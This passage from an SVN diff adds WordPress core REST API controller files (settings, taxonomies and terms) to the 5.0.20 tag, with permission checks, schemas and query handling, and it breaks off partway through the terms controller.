+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+	}
+
+	/**
+	 * Checks if a given request has access to read and manage settings.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool True if the request has read access for the item, otherwise false.
+	 */
+	public function get_item_permissions_check( $request ) {
+		return current_user_can( 'manage_options' );
+	}
+
+	/**
+	 * Retrieves the settings.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return array|WP_Error Array on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$options  = $this->get_registered_options();
+		$response = array();
+
+		foreach ( $options as $name => $args ) {
+			/**
+			 * Filters the value of a setting recognized by the REST API.
+			 *
+			 * Allow hijacking the setting value and overriding the built-in behavior by returning a
+			 * non-null value.  The returned value will be presented as the setting value instead.
+			 *
+			 * @since 4.7.0
+			 *
+			 * @param mixed  $result Value to use for the requested setting. Can be a scalar
+			 *                       matching the registered schema for the setting, or null to
+			 *                       follow the default get_option() behavior.
+			 * @param string $name   Setting name (as shown in REST API responses).
+			 * @param array  $args   Arguments passed to register_setting() for this setting.
+			 */
+			$response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args );
+
+			if ( is_null( $response[ $name ] ) ) {
+				// Default to a null value as "null" in the response means "not set".
+				$response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] );
+			}
+
+			/*
+			 * Because get_option() is lossy, we have to
+			 * cast values to the type they are registered with.
+			 */
+			$response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a value for output based off a schema array.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed $value  Value to prepare.
+	 * @param array $schema Schema to match.
+	 * @return mixed The prepared value.
+	 */
+	protected function prepare_value( $value, $schema ) {
+		// If the value is not valid by the schema, set the value to null. Null
+		// values are specifcally non-destructive so this will not cause overwriting
+		// the current invalid value to null.
+		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
+			return null;
+		}
+		return rest_sanitize_value_from_schema( $value, $schema );
+	}
+
+	/**
+	 * Updates settings for the settings object.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return array|WP_Error Array on success, or error object on failure.
+	 */
+	public function update_item( $request ) {
+		$options = $this->get_registered_options();
+
+		$params  = $request->get_params();
+
+		foreach ( $options as $name => $args ) {
+			if ( ! array_key_exists( $name, $params ) ) {
+				continue;
+			}
+
+			/**
+			 * Filters whether to preempt a setting value update.
+			 *
+			 * Allows hijacking the setting update logic and overriding the built-in behavior by
+			 * returning true.
+			 *
+			 * @since 4.7.0
+			 *
+			 * @param bool   $result Whether to override the default behavior for updating the
+			 *                       value of a setting.
+			 * @param string $name   Setting name (as shown in REST API responses).
+			 * @param mixed  $value  Updated setting value.
+			 * @param array  $args   Arguments passed to register_setting() for this setting.
+			 */
+			$updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args );
+
+			if ( $updated ) {
+				continue;
+			}
+
+			/*
+			 * A null value for an option would have the same effect as
+			 * deleting the option from the database, and relying on the
+			 * default value.
+			 */
+			if ( is_null( $request[ $name ] ) ) {
+				/*
+				 * A null value is returned in the response for any option
+				 * that has a non-scalar value.
+				 *
+				 * To protect clients from accidentally including the null
+				 * values from a response object in a request, we do not allow
+				 * options with values that don't pass validation to be updated to null.
+				 * Without this added protection a client could mistakenly
+				 * delete all options that have invalid values from the
+				 * database.
+				 */
+				if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) {
+					return new WP_Error(
+						'rest_invalid_stored_value', sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 )
+					);
+				}
+
+				delete_option( $args['option_name'] );
+			} else {
+				update_option( $args['option_name'], $request[ $name ] );
+			}
+		}
+
+		return $this->get_item( $request );
+	}
+
+	/**
+	 * Retrieves all of the registered options for the Settings API.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Array of registered options.
+	 */
+	protected function get_registered_options() {
+		$rest_options = array();
+
+		foreach ( get_registered_settings() as $name => $args ) {
+			if ( empty( $args['show_in_rest'] ) ) {
+				continue;
+			}
+
+			$rest_args = array();
+
+			if ( is_array( $args['show_in_rest'] ) ) {
+				$rest_args = $args['show_in_rest'];
+			}
+
+			$defaults = array(
+				'name'   => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name,
+				'schema' => array(),
+			);
+
+			$rest_args = array_merge( $defaults, $rest_args );
+
+			$default_schema = array(
+				'type'        => empty( $args['type'] ) ? null : $args['type'],
+				'description' => empty( $args['description'] ) ? '' : $args['description'],
+				'default'     => isset( $args['default'] ) ? $args['default'] : null,
+			);
+
+			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );
+			$rest_args['option_name'] = $name;
+
+			// Skip over settings that don't have a defined type in the schema.
+			if ( empty( $rest_args['schema']['type'] ) ) {
+				continue;
+			}
+
+			/*
+			 * Whitelist the supported types for settings, as we don't want invalid types
+			 * to be updated with arbitrary values that we can't do decent sanitizing for.
+			 */
+			if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) {
+				continue;
+			}
+
+			$rest_args['schema'] = $this->set_additional_properties_to_false( $rest_args['schema'] );
+
+			$rest_options[ $rest_args['name'] ] = $rest_args;
+		}
+
+		return $rest_options;
+	}
+
+	/**
+	 * Retrieves the site setting schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$options = $this->get_registered_options();
+
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => 'settings',
+			'type'       => 'object',
+			'properties' => array(),
+		);
+
+		foreach ( $options as $option_name => $option ) {
+			$schema['properties'][ $option_name ] = $option['schema'];
+			$schema['properties'][ $option_name ]['arg_options'] = array(
+				'sanitize_callback' => array( $this, 'sanitize_callback' ),
+			);
+		}
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Custom sanitize callback used for all options to allow the use of 'null'.
+	 *
+	 * By default, the schema of settings will throw an error if a value is set to
+	 * `null` as it's not a valid value for something like "type => string". We
+	 * provide a wrapper sanitizer to whitelist the use of `null`.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  mixed           $value   The value for the setting.
+	 * @param  WP_REST_Request $request The request object.
+	 * @param  string          $param   The parameter name.
+	 * @return mixed|WP_Error
+	 */
+	public function sanitize_callback( $value, $request, $param ) {
+		if ( is_null( $value ) ) {
+			return $value;
+		}
+		return rest_parse_request_arg( $value, $request, $param );
+	}
+
+	/**
+	 * Recursively add additionalProperties = false to all objects in a schema.
+	 *
+	 * This is need to restrict properties of objects in settings values to only
+	 * registered items, as the REST API will allow additional properties by
+	 * default.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $schema The schema array.
+	 * @return array
+	 */
+	protected function set_additional_properties_to_false( $schema ) {
+		switch ( $schema['type'] ) {
+			case 'object':
+				foreach ( $schema['properties'] as $key => $child_schema ) {
+					$schema['properties'][ $key ] = $this->set_additional_properties_to_false( $child_schema );
+				}
+				$schema['additionalProperties'] = false;
+				break;
+			case 'array':
+				$schema['items'] = $this->set_additional_properties_to_false( $schema['items'] );
+				break;
+		}
+
+		return $schema;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php	(revision 56912)
@@ -0,0 +1,359 @@
+<?php
+/**
+ * REST API: WP_REST_Taxonomies_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to manage taxonomies via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Taxonomies_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'taxonomies';
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'         => WP_REST_Server::READABLE,
+				'callback'        => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'            => $this->get_collection_params(),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)', array(
+			'args' => array(
+				'taxonomy' => array(
+					'description'  => __( 'An alphanumeric identifier for the taxonomy.' ),
+					'type'         => 'string',
+				),
+			),
+			array(
+				'methods'         => WP_REST_Server::READABLE,
+				'callback'        => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'            => array(
+					'context'     => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks whether a given request has permission to read taxonomies.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		if ( 'edit' === $request['context'] ) {
+			if ( ! empty( $request['type'] ) ) {
+				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
+			} else {
+				$taxonomies = get_taxonomies( '', 'objects' );
+			}
+			foreach ( $taxonomies as $taxonomy ) {
+				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
+					return true;
+				}
+			}
+			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+		return true;
+	}
+
+	/**
+	 * Retrieves all public taxonomies.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+
+		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
+			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
+		} else {
+			$taxonomies = get_taxonomies( '', 'objects' );
+		}
+		$data = array();
+		foreach ( $taxonomies as $tax_type => $value ) {
+			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
+				continue;
+			}
+			$tax = $this->prepare_item_for_response( $value, $request );
+			$tax = $this->prepare_response_for_collection( $tax );
+			$data[ $tax_type ] = $tax;
+		}
+
+		if ( empty( $data ) ) {
+			// Response should still be returned as a JSON object when it is empty.
+			$data = (object) $data;
+		}
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Checks if a given request has access to a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
+	 */
+	public function get_item_permissions_check( $request ) {
+
+		$tax_obj = get_taxonomy( $request['taxonomy'] );
+
+		if ( $tax_obj ) {
+			if ( empty( $tax_obj->show_in_rest ) ) {
+				return false;
+			}
+			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
+				return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves a specific taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$tax_obj = get_taxonomy( $request['taxonomy'] );
+		if ( empty( $tax_obj ) ) {
+			return new WP_Error( 'rest_taxonomy_invalid', __( 'Invalid taxonomy.' ), array( 'status' => 404 ) );
+		}
+		$data = $this->prepare_item_for_response( $tax_obj, $request );
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Prepares a taxonomy object for serialization.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param stdClass        $taxonomy Taxonomy data.
+	 * @param WP_REST_Request $request  Full details about the request.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $taxonomy, $request ) {
+		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'name', $fields, true ) ) {
+			$data['name'] = $taxonomy->label;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $taxonomy->name;
+		}
+
+		if ( in_array( 'capabilities', $fields, true ) ) {
+			$data['capabilities'] = $taxonomy->cap;
+		}
+
+		if ( in_array( 'description', $fields, true ) ) {
+			$data['description'] = $taxonomy->description;
+		}
+
+		if ( in_array( 'labels', $fields, true ) ) {
+			$data['labels'] = $taxonomy->labels;
+		}
+
+		if ( in_array( 'types', $fields, true ) ) {
+			$data['types'] = $taxonomy->object_type;
+		}
+
+		if ( in_array( 'show_cloud', $fields, true ) ) {
+			$data['show_cloud'] = $taxonomy->show_tagcloud;
+		}
+
+		if ( in_array( 'hierarchical', $fields, true ) ) {
+			$data['hierarchical'] = $taxonomy->hierarchical;
+		}
+
+		if ( in_array( 'rest_base', $fields, true ) ) {
+			$data['rest_base'] = $base;
+		}
+
+		if ( in_array( 'visibility', $fields, true ) ) {
+			$data['visibility'] = array(
+				'public'             => (bool) $taxonomy->public,
+				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
+				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
+				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
+				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
+				'show_ui'            => (bool) $taxonomy->show_ui,
+			);
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data = $this->add_additional_fields_to_object( $data, $request );
+		$data = $this->filter_response_by_context( $data, $context );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		$response->add_links( array(
+			'collection'                => array(
+				'href'                  => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
+			),
+			'https://api.w.org/items'   => array(
+				'href'                  => rest_url( sprintf( 'wp/v2/%s', $base ) ),
+			),
+		) );
+
+		/**
+		 * Filters a taxonomy returned from the REST API.
+		 *
+		 * Allows modification of the taxonomy data right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param object           $item     The original taxonomy object.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
+	}
+
+	/**
+	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'              => 'http://json-schema.org/draft-04/schema#',
+			'title'                => 'taxonomy',
+			'type'                 => 'object',
+			'properties'           => array(
+				'capabilities'     => array(
+					'description'  => __( 'All capabilities used by the taxonomy.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'description'      => array(
+					'description'  => __( 'A human-readable description of the taxonomy.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'hierarchical'     => array(
+					'description'  => __( 'Whether or not the taxonomy should have children.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'labels'           => array(
+					'description'  => __( 'Human-readable labels for the taxonomy for various contexts.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'name'             => array(
+					'description'  => __( 'The title for the taxonomy.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'slug'             => array(
+					'description'  => __( 'An alphanumeric identifier for the taxonomy.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'show_cloud'       => array(
+					'description'  => __( 'Whether or not the term cloud should be displayed.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'types'            => array(
+					'description'  => __( 'Types associated with the taxonomy.' ),
+					'type'         => 'array',
+					'items'        => array(
+						'type' => 'string',
+					),
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'visibility'       => array(
+					'description'  => __( 'The visibility settings for the taxonomy.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'rest_base'            => array(
+					'description'  => __( 'REST base route for the taxonomy.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+			),
+		);
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$new_params = array();
+		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
+		$new_params['type'] = array(
+			'description'  => __( 'Limit results to taxonomies associated with a specific post type.' ),
+			'type'         => 'string',
+		);
+		return $new_params;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php	(revision 56912)
@@ -0,0 +1,1091 @@
+<?php
+/**
+ * REST API: WP_REST_Terms_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to managed terms associated with a taxonomy via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Terms_Controller extends WP_REST_Controller {
+
+	/**
+	 * Taxonomy key.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $taxonomy;
+
+	/**
+	 * Instance of a term meta fields object.
+	 *
+	 * @since 4.7.0
+	 * @var WP_REST_Term_Meta_Fields
+	 */
+	protected $meta;
+
+	/**
+	 * Column to have the terms be sorted by.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $sort_column;
+
+	/**
+	 * Number of terms that were found.
+	 *
+	 * @since 4.7.0
+	 * @var int
+	 */
+	protected $total_terms;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $taxonomy Taxonomy key.
+	 */
+	public function __construct( $taxonomy ) {
+		$this->taxonomy = $taxonomy;
+		$this->namespace = 'wp/v2';
+		$tax_obj = get_taxonomy( $taxonomy );
+		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
+
+		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			array(
+				'methods'             => WP_REST_Server::CREATABLE,
+				'callback'            => array( $this, 'create_item' ),
+				'permission_callback' => array( $this, 'create_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
+			'args' => array(
+				'id' => array(
+					'description' => __( 'Unique identifier for the term.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'                => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::EDITABLE,
+				'callback'            => array( $this, 'update_item' ),
+				'permission_callback' => array( $this, 'update_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+			),
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'callback'            => array( $this, 'delete_item' ),
+				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
+				'args'                => array(
+					'force' => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Required to be true, as terms do not support trashing.' ),
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks if the terms for a post can be read.
+	 *
+	 * @since 6.0.3
+	 *
+	 * @param WP_Post         $post    Post object.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool Whether the terms for the post can be read.
+	 */
+	public function check_read_terms_permission_for_post( $post, $request ) {
+		// If the requested post isn't associated with this taxonomy, deny access.
+		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
+			return false;
+		}
+
+		// Grant access if the post is publicly viewable.
+		if ( is_post_publicly_viewable( $post ) ) {
+			return true;
+		}
+
+		// Otherwise grant access if the post is readable by the logged in user.
+		if ( current_user_can( 'read_post', $post->ID ) ) {
+			return true;
+		}
+
+		// Otherwise, deny access.
+		return false;
+	}
+
+	/**
+	 * Checks if a request has access to read terms in the specified taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
+	 */
+	public function get_items_permissions_check( $request ) {
+		$tax_obj = get_taxonomy( $this->taxonomy );
+
+		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
+			return false;
+		}
+
+		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
+			return new WP_Error(
+				'rest_forbidden_context',
+				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		if ( ! empty( $request['post'] ) ) {
+			$post = get_post( $request['post'] );
+
+			if ( ! $post ) {
+				return new WP_Error(
+					'rest_post_invalid_id',
+					__( 'Invalid post ID.' ),
+					array(
+						'status' => 400,
+					)
+				);
+			}
+
+			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
+				return new WP_Error(
+					'rest_forbidden_context',
+					__( 'Sorry, you are not allowed to view terms for this post.' ),
+					array(
+						'status' => rest_authorization_required_code(),
+					)
+				);
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves terms associated with a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+
+		/*
+		 * This array defines mappings between public API query parameters whose
+		 * values are accepted as-passed, and their internal WP_Query parameter
+		 * name equivalents (some are the same). Only values which are also
+		 * present in $registered will be set.
+		 */
+		$parameter_mappings = array(
+			'exclude'    => 'exclude',
+			'include'    => 'include',
+			'order'      => 'order',
+			'orderby'    => 'orderby',
+			'post'       => 'post',
+			'hide_empty' => 'hide_empty',
+			'per_page'   => 'number',
+			'search'     => 'search',
+			'slug'       => 'slug',
+		);
+
+		$prepared_args = array();
+
+		/*
+		 * For each known parameter which is both registered and present in the request,
+		 * set the parameter's value on the query $prepared_args.
+		 */
+		foreach ( $parameter_mappings as $api_param => $wp_param ) {
+			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
+				$prepared_args[ $wp_param ] = $request[ $api_param ];
+			}
+		}
+
+		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
+			$orderby_mappings = array(
+				'include_slugs' => 'slug__in',
+			);
+
+			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
+				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
+			}
+		}
+
+		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
+			$prepared_args['offset'] = $request['offset'];
+		} else {
+			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
+		}
+
+		$taxonomy_obj = get_taxonomy( $this->taxonomy );
+
+		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
+			if ( 0 === $request['parent'] ) {
+				// Only query top-level terms.
+				$prepared_args['parent'] = 0;
+			} else {
+				if ( $request['parent'] ) {
+					$prepared_args['parent'] = $request['parent'];
+				}
+			}
+		}
+
+		/**
+		 * Filters the query arguments before passing them to get_terms().
+		 *
+		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
+		 *
+		 * Enables adding extra arguments or setting defaults for a terms
+		 * collection request.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @link https://developer.wordpress.org/reference/functions/get_terms/
+		 *
+		 * @param array           $prepared_args Array of arguments to be
+		 *                                       passed to get_terms().
+		 * @param WP_REST_Request $request       The current request.
+		 */
+		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );
+
+		if ( ! empty( $prepared_args['post'] )  ) {
+			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );
+
+			// Used when calling wp_count_terms() below.
+			$prepared_args['object_ids'] = $prepared_args['post'];
+		} else {
+			$query_result = get_terms( $this->taxonomy, $prepared_args );
+		}
+
+		$count_args = $prepared_args;
+
+		unset( $count_args['number'], $count_args['offset'] );
+
+		$total_terms = wp_count_terms( $this->taxonomy, $count_args );
+
+		// wp_count_terms can return a falsy value when the term has no children.
+		if ( ! $total_terms ) {
+			$total_terms = 0;
+		}
+
+		$response = array();
+
+		foreach ( $query_result as $term ) {
+			$data = $this->prepare_item_for_response( $term, $request );
+			$response[] = $this->prepare_response_for_collection( $data );
+		}
+
+		$response = rest_ensure_response( $response );
+
+		// Store pagination values for headers.
+		$per_page = (int) $prepared_args['number'];
+		$page     = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );
+
+		$response->header( 'X-WP-Total', (int) $total_terms );
+
+		$max_pages = ceil( $total_terms / $per_page );
+
+		$response->header( 'X-WP-TotalPages', (int) $max_pages );
+
+		$base = add_query_arg( $request->get_query_params(), rest_url( $this->namespace . '/' . $this->rest_base ) );
+		if ( $page > 1 ) {
+			$prev_page = $page - 1;
+
+			if ( $prev_page > $max_pages ) {
+				$prev_page = $max_pages;
+			}
+
+			$prev_link = add_query_arg( 'page', $prev_page, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+		if ( $max_pages > $page ) {
+			$next_page = $page + 1;
+			$next_link = add_query_arg( 'page', $next_page, $base );
+
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Get the term, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_term( $id ) {
+		$error = new WP_Error( 'rest_term_invalid', __( 'Term does not exist.' ), array( 'status' => 404 ) );
+
+		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
+			return $error;
+		}
+
+		if ( (int) $id <= 0 ) {
+			return $error;
+		}
+
+		$term = get_term( (int) $id, $this->taxonomy );
+		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
+			return $error;
+		}
+
+		return $term;
+	}
+
+	/**
+	 * Checks if a request has access to read or edit the specified term.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
+	 */
+	public function get_item_permissions_check( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+		return true;
+	}
+
+	/**
+	 * Gets a single term from a taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$term = $this->get_term( $request['id'] );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		$response = $this->prepare_item_for_response( $term, $request );
+
